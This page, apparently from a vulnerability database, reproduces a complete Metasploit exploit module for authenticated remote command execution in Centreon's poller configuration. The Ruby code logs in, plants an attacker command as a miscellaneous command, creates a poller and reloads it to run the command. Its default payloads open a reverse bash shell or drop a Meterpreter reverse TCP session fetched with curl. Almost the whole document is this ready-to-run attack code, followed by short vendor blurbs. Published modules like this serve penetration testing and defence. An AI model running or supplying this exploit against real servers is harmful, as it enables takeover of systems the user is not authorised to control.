Lucene search
K

Centreon Poller Authenticated Remote Command Execution

🗓️ 18 Mar 2020 00:00:00Reported by mekhallehType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 111 Views

Centreon Poller Authenticated Remote Command Execution. Authenticated user can remotely execute arbitrary commands to obtain a remote shell on the target

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Centreon Poller Authenticated Remote Command Execution',  
'Description' => %q{  
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to  
execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules  
(to perform certain actions), by the scheduler for data processing, etc.  
  
This module uses this functionality to obtain a remote shell on the target.  
},  
'Author' => [  
'Omri Baso', # discovery  
'Fabien Aunay', # discovery  
'mekhalleh (RAMELLA Sébastien)' # this module  
],  
'References' => [  
['EDB', '47977']  
],  
'DisclosureDate' => '2020-01-27',  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_CMD, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
['Reverse shell (In-Memory)',  
'Platform' => 'unix',  
'Type' => :cmd_unix,  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
],  
['Meterpreter (Dropper)',  
'Platform' => 'linux',  
'Type' => :meterpreter,  
'Arch' => ARCH_X64,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => :curl  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
))  
  
register_options([  
OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),  
OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),  
OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])  
])  
end  
  
def create_new_poller(poller_name, command_id)  
params = {'p' => '60901'}  
  
print_status("Create new poller entry on the target.")  
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)  
return false unless token  
  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main.get.php'),  
'cookie' => @cookies,  
'partial' => true,  
'vars_get' => params,  
'vars_post' => {  
'name' => poller_name,  
'ns_ip_address' => '127.0.0.1',  
'localhost[localhost]' => '1',  
'is_default[is_default]' => '0',  
'remote_id' => '',  
'ssh_port' => '22',  
'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',  
'engine_start_command' => 'service centengine start',  
'engine_stop_command' => 'service centengine stop',  
'engine_restart_command' => 'service centengine restart',  
'engine_reload_command' => 'service centengine reload',  
'nagios_bin' => '/usr/sbin/centengine',  
'nagiostats_bin' => '/usr/sbin/centenginestats',  
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',  
'broker_reload_command' => 'service cbd reload',  
'centreonbroker_cfg_path' => '/etc/centreon-broker',  
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',  
'centreonbroker_logs_path' => '/var/log/centreon-broker',  
'centreonconnector_path' => '',  
'init_script_centreontrapd' => 'centreontrapd',  
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',  
'pollercmd[0]' => command_id,  
'clone_order_pollercmd_0' => '',  
'ns_activate[ns_activate]' => '1',  
'submitA' => 'Save',  
'id' => '',  
'o' => 'a',  
'centreon_token' => token  
}  
)  
return false unless response  
  
return true  
end  
  
def execute_command(command, opts = {})  
cmd_name = rand_text_alpha(8..42)  
params = {'p' => '60803', 'type' => '3'}  
poller_name = rand_text_alpha(8..42)  
  
## Register a miscellaneous command.  
print_status("Upload command payload on the target.")  
  
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)  
unless token  
print_bad('Could not get the upload form token, potentially due to insufficient access rights.')  
return false  
end  
  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main.get.php'),  
'cookie' => @cookies,  
'partial' => true,  
'vars_get' => params,  
'vars_post' => {  
'command_name' => cmd_name,  
'command_type[command_type]' => '3',  
'command_line' => command,  
'resource' => '$CENTREONPLUGINS$',  
'plugins' => '/Centreon/SNMP',  
'macros' => '$ADMINEMAIL$',  
'command_example' => '',  
'listOfArg' => '',  
'listOfMacros' => '',  
'connectors' => '',  
'graph_id' => '',  
'command_activate[command_activate]' => '1',  
'command_comment' => '',  
'submitA' => 'Save',  
'command_id' => '',  
'type' => '3',  
'o' => 'a',  
'centreon_token' => token  
}  
)  
return false unless response  
  
## Create new poller to serve the payload.  
create_new_poller(poller_name, get_command_id(cmd_name))  
  
## Export configuration to reload to trigger the exploit.  
poller_id = get_poller_id(poller_name)  
if poller_id.nil?  
print_bad('Could not trigger the vulnerability!')  
end  
restart_exportation(poller_id)  
end  
  
def get_auth  
print_status("Sending authentication request.")  
token = get_token(normalize_uri(target_uri.path, 'index.php'))  
unless token.nil?  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'cookie' => @cookies,  
'vars_post' => {  
'useralias' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'submitLogin' => 'Connect',  
'centreon_token' => token  
}  
)  
return false unless response  
  
if response.redirect?  
if response.headers['location'].include?('main.php')  
print_good('Successfully authenticated.')  
@cookies = response.get_cookies  
return true  
end  
end  
end  
  
print_bad('Your credentials are incorrect.')  
return false  
end  
  
def get_command_id(cmd_name)  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'main.get.php'),  
'cookie' => @cookies,  
'vars_get' => {  
'p' => '60803',  
'type' => '3'  
}  
)  
return nil unless response  
  
href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']  
return nil unless href  
  
id = href.split('?')[1].split('&')[2].split('=')[1]  
return id unless id.empty?  
  
return nil  
end  
  
def get_poller_id(poller_name)  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'main.get.php'),  
'cookie' => @cookies,  
'vars_get' => {'p' => '60901'}  
)  
return nil unless response  
  
href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']  
return nil unless href  
  
id = href.split('?')[1].split('&')[2].split('=')[1]  
return id unless id.empty?  
  
return nil  
end  
  
def get_session  
response = send_request_cgi(  
'method' => 'HEAD',  
'uri' => normalize_uri(target_uri.path, 'index.php')  
)  
cookies = response.get_cookies  
return cookies unless cookies.empty?  
end  
  
def get_token(uri, params = {})  
## Get centreon_token value.  
request = {  
'method' => 'GET',  
'uri' => uri,  
'cookie' => @cookies  
}  
request = request.merge({'vars_get' => params}) unless params.empty?  
response = send_request_cgi(request)  
  
return nil unless response  
  
begin  
token = response.get_html_document.at('input[@name="centreon_token"]')['value']  
rescue NoMethodError  
return nil  
end  
  
return token  
end  
  
def restart_exportation(poller_id)  
print_status("Reload the poller to trigger exploitation.")  
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})  
  
unless token  
print_bad('Could not get the poller form token, potentially due to insufficient access rights.')  
return false  
end  
  
vprint_status(' -- Generating files.')  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),  
'cookie' => @cookies,  
'vars_post' => {  
'poller' => poller_id,  
'debug' => 'true',  
'generate' => 'true'  
}  
)  
return false unless response  
  
vprint_status(' -- Restarting engine.')  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),  
'cookie' => @cookies,  
'vars_post' => {  
'poller' => poller_id,  
'mode' => '2'  
}  
)  
return false unless response  
  
vprint_status(' -- Executing command.')  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),  
'cookie' => @cookies,  
'vars_post' => {'poller' => poller_id}  
)  
return false unless response  
  
return true  
end  
  
def exploit  
@cookies = get_session  
logged = get_auth unless @cookies.empty?  
if logged  
case target['Type']  
when :cmd_unix  
execute_command(payload.encoded)  
when :meterpreter  
execute_command(generate_cmdstager.join(';'))  
end  
end  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation